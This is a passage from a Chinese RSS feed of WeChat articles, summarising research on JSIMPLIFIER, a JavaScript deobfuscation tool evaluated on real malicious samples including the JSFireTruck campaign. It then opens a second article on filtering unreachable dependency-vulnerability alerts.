leaf="">创建隔离执行环境，每个混淆代码段在独立的沙箱VM实例中运行，无法访问文件系统、网络或全局对象，仅暴露必要的内置对象。JSIMPLIFIER实现了全面的安全机制，包括执行超时防止进程挂起、递归深度限制防止无限循环、内存监控防止资源耗尽攻击。</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">混合分析协调技术</span></strong><span leaf=""> 通过双向信息流实现两种分析方法的有机融合。在静态到动态的移交中，当静态分析遇到无法安全求值的</span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">CallExpression</span></code><span leaf="">时（如函数调用者通过变量查找确定、涉及运行时代码生成的调用、依赖运行时状态的调用），JSIMPLIFIER的</span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">canbetransformed</span></code><span leaf="">标记机制识别这些表达式并打包上下文信息传递给动态执行监控。在动态到静态的反馈整合中，动态执行结果经过类型感知处理后重新整合到静态AST：简单数据类型直接转换为字面量AST节点，函数结果解析为</span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">FunctionExpression</span></code><span leaf="">节点，复杂对象通过JSON序列化确保安全表示，同时更新作用域链中的变量绑定并触发依赖代码段的重新分析。</span></p><h3 style="box-sizing: border-box;font-size: 1.25rem;margin: -56px 0px 0.5rem;line-height: 1.5rem;font-weight: 500;padding-top: 70px;color: rgb(32, 32, 32);font-family: sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">人性化器：从机器码到人类语言（Humanizer）</span></h3><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">虽然反混淆器成功恢复了程序逻辑，但结果往往仍然难以阅读。人性化器通过LLM技术将机械正确但晦涩的代码转化为专业、可读的形式。在智能标识符重命名方面，JSIMPLIFIER可以利用多种LLM模型（GPT、Gemini、本地模型等）进行上下文感知的变量和函数重命名，将无意义的混淆标识符替换为语义明确的名称。同时通过专业代码美化，集成Prettier格式化工具，确保输出符合行业标准的代码规范，包括一致的缩进、标准化的括号放置和规范的引号使用，最终生成既功能正确又易于理解的高质量代码。</span></p><h2 style="box-sizing: border-box;font-size: 1.5rem;margin: -56px 0px 0.5rem;line-height: 1.5rem;font-weight: 500;padding-top: 70px;color: rgb(32, 32, 32);font-family: sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">四、最大规模验证与突破性成果</span></h2><h3 style="box-sizing: border-box;font-size: 1.25rem;margin: -56px 0px 0.5rem;line-height: 1.5rem;font-weight: 500;padding-top: 70px;color: rgb(32, 32, 32);font-family: sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">全面的数据集构建</span></h3><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">为公正全面地评估工具性能，我们构建了业界最大的真实JavaScript混淆数据集进行验证。MalJS数据集包含23,212个野生恶意样本（平均391.78KB），这些样本来自超过1000万个真实恶意代码中的精选，覆盖所有已知的20种混淆技术。BenignJS数据集包含21,209个良性样本（平均41.40KB），来源于GitHub热门项目和合法网站。这两个数据集提供了真实世界中多样化和多层混淆技术的样本，远超现有数据集仅包含人工生成样本的局限。</span></p><h3 style="box-sizing: border-box;font-size: 1.25rem;margin: -56px 0px 0.5rem;line-height: 1.5rem;font-weight: 500;padding-top: 70px;color: rgb(32, 32, 32);font-family: sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">全面的技术覆盖突破</span></h3><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">实验评估采用了多个互补维度进行综合测评。在反混淆能力评估中（表II），JSimplifier实现了对全部20种混淆技术的100%处理能力和100%正确率，远超现有工具。与13种现有方法（包括10种传统工具和3种基于LLM的方案）的对比表明，传统工具在面对复杂语义级混淆时表现不足，而即便是先进的LLM方案也难以处理最复杂的混淆方法。</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.4722222222222222" data-type="png" data-w="1080" style="box-sizing: border-box;border: 0px;text-align: center;margin: 0px auto;display: block;max-width: 100%;max-height: 1024px;" data-imgfileid="100005337" src="https://wechat2rss.xlab.app/img-proxy/?k=efdde0ba&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FlG0evzxL96lwicEE0wOfBiaTrzryOH47tu4ffdcwGnibMrHJYCnzutlcLMJFYRMfOWww7qiaAwbUjWVerxqkgrFVYg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><h3 style="box-sizing: border-box;font-size: 1.25rem;margin: -56px 0px 0.5rem;line-height: 1.5rem;font-weight: 500;padding-top: 70px;color: rgb(32, 32, 32);font-family: sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">显著的代码简化效果</span></h3><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">在代码简化评估中，JSimplifier在多个维度上展现了卓越的性能。首先，工具在CombiBench基准测试上达到了0.8820的Halstead长度减少分数——这一指标衡量代码中操作符和操作数的数量变化，分数越高说明代码复杂度降低更多。JSimplifier实现的88.2%复杂度降低意味着反混淆后的代码比原始混淆代码简单了近9成，显著超越了现有工具。</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">此外，研究团队还采用熵值分析来量化代码的随机性和混乱程度。熵值越低，代码的结构越清晰、可读性越强。大规模评估显示，JSimplifier在全部44,421个样本上实现了显著的熵值降低（如图2）——无论是AST结构熵（衡量代码语法树的复杂度）还是代码文本熵（衡量文本层面的混乱度）均达到最低中位值，充分证明了工具在真实场景中的有效性。</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.5665829145728644" data-type="png" data-w="796" style="box-sizing: border-box;border: 0px;text-align: center;margin: 0px auto;display: block;max-width: 100%;max-height: 1024px;" data-imgfileid="100005334" src="https://wechat2rss.xlab.app/img-proxy/?k=935e1a4d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FlG0evzxL96lwicEE0wOfBiaTrzryOH47tuZrhuZmiaZSBhY8OykwVF82Ao0zoCTR3UzecNTGTntwUPEsCpVTlKGKA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><h3 style="box-sizing: border-box;font-size: 1.25rem;margin: -56px 0px 0.5rem;line-height: 1.5rem;font-weight: 500;padding-top: 70px;color: rgb(32, 32, 32);font-family: sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">质的可读性飞跃</span></h3><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">为验证代码可读性提升，研究团队采用了多个先进LLM模型（Claude 3.7 Sonnet、Gemini 2.5 Pro、DeepSeek-R1、GPT-o3）进行独立评估。这些模型对代码可读性进行0-10分的打分，其中0分代表完全不可读，10分代表极易理解。评估结果如下表所示，JSimplifier实现了平均466.94%的可读性提升，将难以理解的混淆代码（评分1.02-1.81，接近完全不可读）转化为适合安全分析的清晰代码（评分6.21-7.83，达到良好可读性水平）。</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.3593350383631714" data-type="png" data-w="782" style="box-sizing: border-box;border: 0px;text-align: center;margin: 0px auto;display: block;max-width: 100%;max-height: 1024px;" data-imgfileid="100005339" src="https://wechat2rss.xlab.app/img-proxy/?k=0eeab3a1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FlG0evzxL96lwicEE0wOfBiaTrzryOH47tunfB6I5BjEWN0TOgJdS7Yhpx6AEzia43NocNysoo9DzQ4XJ4gw8denibA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">此外，研究团队还进行了用户研究，邀请9名不同专业水平的参与者（新手、中级、专家各3名）分析混淆样本。结果表明JSimplifier显著提升了分析准确率（新手提升12.7%）并大幅减少了分析时间（中级用户减少47.7%），主观评分在可读性、清晰度和逻辑性方面均显著提高。用户研究显示，工具显著提升了分析准确率（新手提升12.7%）并大幅减少了分析时间（中级用户减少47.7%）。一位中级参与者评价道：”变量重命名让我能够快速跟踪逻辑流程，我可以在几分钟内识别出可疑的网络调用，而不是在整个分析过程中大海捞针。”</span></p><h3 style="box-sizing: border-box;font-size: 1.25rem;margin: -56px 0px 0.5rem;line-height: 1.5rem;font-weight: 500;padding-top: 70px;color: rgb(32, 32, 32);font-family: sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">实战验证：破解JSFireTruck的”密码”</span></h3><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">JSFireTruck恶意软件活动是JSIMPLIFIER实战能力的最佳证明。这个复杂的攻击活动仅使用六个ASCII字符!+就构建了极其复杂的混淆代码，传统工具几乎束手无策。</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">原始混淆代码（部分）：</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.37222222222222223" data-type="png" data-w="1080" style="box-sizing: border-box;border: 0px;text-align: center;margin: 0px auto;display: block;max-width: 100%;max-height: 1024px;" data-imgfileid="100005341" src="https://wechat2rss.xlab.app/img-proxy/?k=fa023184&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FlG0evzxL96lwicEE0wOfBiaTrzryOH47tu2EU1ZfJEIyuX8MUZptNu4agXy64JcZeOhAoSz0TpjJJtQNRUIENKaA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">JSIMPLIFIER反混淆结果：</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.2722222222222222" data-type="png" data-w="1080" style="box-sizing: border-box;border: 0px;text-align: center;margin: 0px auto;display: block;max-width: 100%;max-height: 1024px;" data-imgfileid="100005340" src="https://wechat2rss.xlab.app/img-proxy/?k=c29ad619&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FlG0evzxL96lwicEE0wOfBiaTrzryOH47tuUCWvlicaXEVfpB9PKVzDudwud9DpeY4e9OvBm5qt8ibpcyUb84LzKvHQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">通过JSIMPLIFIER，安全分析师可以清晰地看到攻击逻辑：检测搜索引擎来源、注入恶意iframe、重定向到攻击域名。这种从”天书”到”明文”的转换，极大提升了威胁分析和响应的效率，展现了工具在真实安全分析场景中的实用价值。</span></p><h2 style="box-sizing: border-box;font-size: 1.5rem;margin: -56px 0px 0.5rem;line-height: 1.5rem;font-weight: 500;padding-top: 70px;color: rgb(32, 32, 32);font-family: sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">五、结论：从”混乱”到”清晰”的技术突破</span></h2><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">JSIMPLIFIER的成功体现了针对JavaScript混淆这一具体安全问题的有效解决方案。通过将静态分析、动态执行和LLM技术相结合，该工具在处理复杂混淆代码方面取得了显著进展。</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">技术贡献的实际价值主要体现在三个方面：三阶段流水线架构有效解决了输入多样性、分析复杂性和输出可读性的问题；静态与动态分析的协调机制克服了单一方法的局限性；LLM技术的合理应用显著改善了代码的人机交互体验。这些技术改进为反混淆工具的发展提供了新的参考方向。</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">实验验证的充分性通过大规模真实数据集得到了有力支撑。在44,421个样本上的测试结果——100%的技术覆盖率、88.2%的复杂度降低、466.94%的可读性提升——证明了该方法的有效性。JSFireTruck等真实案例的成功处理进一步验证了工具在实际安全分析场景中的实用价值。</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">当然，JavaScript混淆技术仍在不断发展，新的挑战也会持续出现。JSIMPLIFIER的模块化设计为应对这些变化提供了一定的灵活性。我们期待通过持续的技术改进和社区合作，进一步提升JavaScript安全分析的效率和准确性。</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">目前，JSimplifier及对应数据集已开源发布，面向安全研究和防护社区共享。未来工作将继续优化工具性能，扩展对更多混淆技术的支持，为脚本安全分析提供更好的技术工具。</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">项目开源地址：<a href="https://github.com/XingTuLab/JSIMPLIFIER" target="_blank">https://github.com/XingTuLab/JSIMPLIFIER</a></span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">论文链接：<a href="https://arxiv.org/abs/2512.14070" target="_blank">https://arxiv.org/abs/2512.14070</a></span></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>


<p><a href="%27%27">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=0fe5a148&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg4OTU4MjQ4Mg%3D%3D%26mid%3D2247488994%26idx%3D1%26sn%3Ddfa76d25c322e4446ca422f32f18cb10">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Tue, 13 Jan 2026 14:55:00 +0800</pubDate>
    </item>
    <item>
      <title>【论文分享】从噪声到信号：如何在千万级软件包中精准定位漏洞影响?</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg4OTU4MjQ4Mg==&amp;mid=2247488981&amp;idx=1&amp;sn=319fdc91a351ed80fdf470e1a4c16d41</link>
      <description>论文分析结果指明传统工具所产生的漏洞警告中，高达 68.28% 都是“噪声”，即漏洞代码实际上根本无法被触达。</description>
      <content:encoded><![CDATA[<p><span>星图实验室</span> <span>2026-01-06 15:48</span> <span style="display: inline-block;">北京</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=2c9f8469&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FlG0evzxL96m03XiaMlRt5AmqZjsOiceBibhXpyt4ZWezEXZ67JicHFh3oylmqY1yHZX6ich5UibpNvfzTT8GYicfz09EQ%2F0%3Fwx_fmt%3Djpeg"/></p>
  <p>论文分析结果指明传统工具所产生的漏洞警告中，高达 68.28% 都是“噪声”，即漏洞代码实际上根本无法被触达。</p>
  <h2 style="box-sizing: border-box;font-size: 1.5rem;margin: -56px 0px 0.5rem;line-height: 1.5rem;font-weight: 500;padding-top: 70px;color: rgb(32, 32, 32);font-family: sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" data-pm-slice="0 0 []"><span leaf=""><span textstyle="" style="font-size: 18px;color: rgb(0, 128, 255);">一、引言：软件供应链安全的“狼来了”困境</span></span></h2><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">想象这样一个场景：你是一名开发者，每天打开 CI/CD 系统，迎接你的是数百条安全警报——“检测到依赖包存在高危漏洞，请立即修复！” 但当你花费大量时间逐一排查后却发现，绝大多数警报都是虚惊一场：那些所谓的“漏洞代码” 根本就没有被你的应用调用。这种“警报疲劳”已成为软件供应链安全领域的痛点，也是众多安全检测工具难以实际落地应用的重要原因。</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.37681159420289856" data-type="jpeg" data-w="828" style="box-sizing: border-box;border: 0px;text-align: center;margin: 0px auto;display: block;max-width: 100%;max-height: 1024px;" data-imgfileid="100005313" src="https://wechat2rss.xlab.app/img-proxy/?k=574c3995&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FlG0evzxL96m03XiaMlRt5AmqZjsOiceBibhm5xYXiaZiaibyMKhNOVKRPRiaAzHdicQKUdP9lZLCGbTlWVrVdAVic5hwlOQ%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: 